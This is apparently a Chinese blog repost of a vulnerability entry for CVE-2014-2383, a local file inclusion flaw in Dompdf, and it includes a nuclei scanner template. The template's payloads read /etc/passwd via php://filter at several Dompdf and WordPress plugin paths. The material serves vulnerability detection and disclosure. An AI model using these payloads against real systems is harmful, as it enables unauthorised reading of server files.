Dompdf < v060 - Local File Inclusion

漏洞信息

漏洞名称: Dompdf < v0.6.0 - Local File Inclusion

漏洞编号:

  • CVE: CVE-2014-2383

漏洞类型: 文件读取

漏洞等级: 中危

漏洞描述: Dompdf是一个开源的PHP库,用于将HTML文档转换为PDF文件。它广泛应用于各种Web应用程序中,特别是那些需要动态生成PDF报告或文档的系统。由于其易用性和灵活性,Dompdf在WordPress插件和其他内容管理系统中尤为常见。该漏洞存在于Dompdf的dompdf.php文件中,当DOMPDF_ENABLE_PHP设置被启用时,攻击者可以利用PHP协议和包装器绕过chroot保护,通过input_file参数读取服务器上的任意文件。这种漏洞的技术根源在于不充分的输入验证,允许攻击者通过构造特殊的请求参数(如php://filter/read=convert.base64-encode/resource)来访问敏感文件。此漏洞可能导致敏感信息泄露,如系统文件/etc/passwd的内容,进而可能被用于进一步的攻击。由于攻击者无需认证即可利用此漏洞,因此风险较高。

产品厂商: dompdf

产品名称: dompdf

影响版本: version < 0.6.1

来源: https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fcves%2F2014%2FCVE-2014-2383.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

id: CVE-2014-2383

info:
name: Dompdf < v0.6.0 - Local File Inclusion
author: 0x_Akoko,akincibor,ritikchaddha
severity: medium
description: |
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
impact: |
The vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the affected system.
remediation: |
Upgrade Dompdf to a version higher than v0.6.0 to mitigate the vulnerability.
reference:
- https://www.exploit-db.com/exploits/33004
- http://seclists.org/fulldisclosure/2014/Apr/258
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
- https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
- https://nvd.nist.gov/vuln/detail/CVE-2014-2383
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2014-2383
cwe-id: CWE-200
epss-score: 0.52280
epss-percentile: 0.97785
cpe: cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
metadata:
verified: true
max-request: 13
vendor: dompdf
product: dompdf
tags: cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists

flow: http(1) && http(2)

http:
- method: GET
path:
- "{{BaseURL}}/dompdf.php"
- "{{BaseURL}}/wp-content/plugins/"

stop-at-first-match: true
matchers:
- type: word
words:
- "dompdf"
- "WordPress"
condition: or
internal: true

- method: GET
path:
- "{{BaseURL}}{{paths}}"

payloads:
paths:
- "/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd"
- "/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"

stop-at-first-match: true

matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/pdf"
- 'filename="dompdf_out.pdf"'
condition: and

- type: regex
regex:
- "root:[x*]:0:0"

- type: status
status:
- 200
# digest: 490a0046304402200d588a66dd16d08eec1241a48a8099b9e40f52d7771e2c37f4fe7c76a37f2e2d0220493dfa0406e2340c7ccd1ab9f40fc66b8475b6b65d568f5eb329e2b35bf54200:922c64590222798bb761d5b6d8e72950


Dompdf < v060 - Local File Inclusion
http://example.com/2025/07/21/github_2573041013/
作者
lianccc
发布于
2025年7月21日
许可协议